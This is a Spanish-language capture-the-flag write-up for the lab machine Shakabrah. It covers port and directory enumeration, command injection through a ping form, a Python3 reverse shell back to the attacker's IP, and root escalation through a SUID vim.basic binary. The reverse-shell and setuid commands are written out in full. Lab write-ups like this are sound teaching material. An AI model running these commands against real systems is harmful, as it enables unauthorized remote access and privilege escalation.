> For the complete documentation index, see [llms.txt](https://wiki.securiters.com/securiters-wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/shakabrah.md).

# Shakabrah

<figure><img src="/files/aAforTupB1nN89UYsEsr" alt=""><figcaption></figcaption></figure>

### Enumeración

#### NMAP

Comenzamos realizando un escaneo rápido de los puertos que tiene abiertos la máquina víctima.&#x20;

```
nmap -p- --open -vvv -Pn -n --min-rate 2000 192.168.207.86
```

<figure><img src="/files/EwzwOrmMYBO86mPCcciQ" alt=""><figcaption></figcaption></figure>

La máquina tiene abiertos los puertos 22 y 80. El siguiente paso será el escaneo en profundidad de los servicios abiertos.&#x20;

```
nmap -p22,80 -sVC 192.168.207.86 -oN targeted
```

<figure><img src="/files/gYzEV5AWGjSgdv2SUBZC" alt=""><figcaption></figcaption></figure>

Existen 2 puertos abiertos en el equipo target.&#x20;

* Puerto 22 -> SSH -> OpenSSH 7.6
* Puerto 80 -> HTTP -> Apache httpd 2.4.29

#### Enumeración Web

Comenzamos viendo el contenido del sitio Web.

<figure><img src="/files/KQndWm2WloD4MkaZ4LWK" alt=""><figcaption></figcaption></figure>

Encontramos un formulario donde podemos especificar una IP para probar la conexión de esta máquina con el host de la IP.&#x20;

<figure><img src="/files/eyyFy5GojR6zh1vno1b2" alt=""><figcaption><p>Ping a localhost</p></figcaption></figure>

Otra cosa que vamos a hacer es enumerar directorios con la herramienta dirsearch.

```
dirsearch -u "http://192.168.207.86/" -i200,301
```

<figure><img src="/files/iv7yfSkujn9YRde9domw" alt=""><figcaption></figcaption></figure>

No hay ningún directorio interesante.

### Explotación

Desde aquí vamos a intentar ejecutar un RCE, para ello vamos a ver que podemos hacer con el formulario.&#x20;

<figure><img src="/files/TAOofS1rlXxZHy0Sq3OE" alt=""><figcaption></figcaption></figure>

Podemos inyectar comandos y el resultado es devuelto en pantalla. Debemos encadenar comandos para poder ejecutar comandos.

Sabiendo esto, vamos a intentar un RCE simplemente ejecutando un shell inverso. Probamos diversas shells pero solo las generadas con Python3 funcionan.

Geeneramos una shell Python utilizando esta [página Web](https://www.revshells.com/).&#x20;

<figure><img src="/files/tsTdrwfPUfFwSAwl6UZO" alt=""><figcaption></figcaption></figure>

```
export RHOST="192.168.49.207";export RPORT=80;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
```

Inyectamos esta shell y al mismo tiempo ponemos nc a la escucha en el puerto 80. Importante, solo funciona para el puerto 80.&#x20;

<figure><img src="/files/i8GQxMsRglHewlhaOXd3" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/K9VhV06iuq0v2ststQ5o" alt=""><figcaption></figcaption></figure>

Tenemos conexión remota con la máquina objetivo. Aprovechamos también para convertir la shell generada en interactiva.&#x20;

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

El próximo obtejivo es encontrat la flag.&#x20;

<figure><img src="/files/QTw1WGwnoSpgcAHIdSND" alt=""><figcaption></figcaption></figure>

Ya tenemos la flag local.txt. Seguimos con la elevación de privilegios.&#x20;

### Elevación de privilegios

Comenzaremos enumerando si podemos ejecutar sudo.

<figure><img src="/files/lE8Geo9D79w1scv488KI" alt=""><figcaption></figcaption></figure>

Necesitamos password.

Seguimos enumerando los binarios SUID.

```
find / -perm -4000 2> /dev/null
```

<figure><img src="/files/xDuJtefvHTFdibRWqZmi" alt=""><figcaption></figcaption></figure>

El binario SUID vim.basic puede ser útil para la elevación de privilegios. Para comprobar como vulnerar este binario vamos a este [sitio Web](broken://spaces/ZfXyB3pqysTIqVPAjiHn/pages/2RqOXjz6ad5LR6iPcRyZ).&#x20;

<figure><img src="/files/QSmTTpSnTZQs1bVNW845" alt=""><figcaption></figcaption></figure>

Importante, debemos revisar para que versión de Python tiene soporte la versión de Vim instalada. Para comprobar la versión de Python ejecutamos lo siguiente:&#x20;

```
/usr/bin/vim.basic --version
```

<figure><img src="/files/HRK06HUsy1mEacy7wnOe" alt=""><figcaption></figcaption></figure>

Vim ejecuta Python3&#x20;

```
/usr/bin/vim.basic -c ':py3 import os; os.setuid(0); os.execl("/bin/bash", "/bin/bash")'
```

<figure><img src="/files/yJRjY9w0guY3ENCfTEMX" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/WD8tEbj14IKyCv1aJxg8" alt=""><figcaption></figcaption></figure>

Y pulsamos intro hasta que nos solicite el tipo de terminal. Entonces escribimos el tipo de terminal "xterm" y volvemos a pulsar intro.

<figure><img src="/files/TImdOK4CgiAajoYLAVfN" alt=""><figcaption></figcaption></figure>

Ya tendremos privilegios máximos. El siguiente paso será buscar la flag proof.txt.

<figure><img src="/files/dgeDvVv6ojIFNofdcC4n" alt=""><figcaption></figcaption></figure>

Ya estaría finalizado el CTF Shakabrah de Proving Grounds.

{% embed url="<https://www.youtube.com/watch?v=2-TaSwdv0S8>" %}
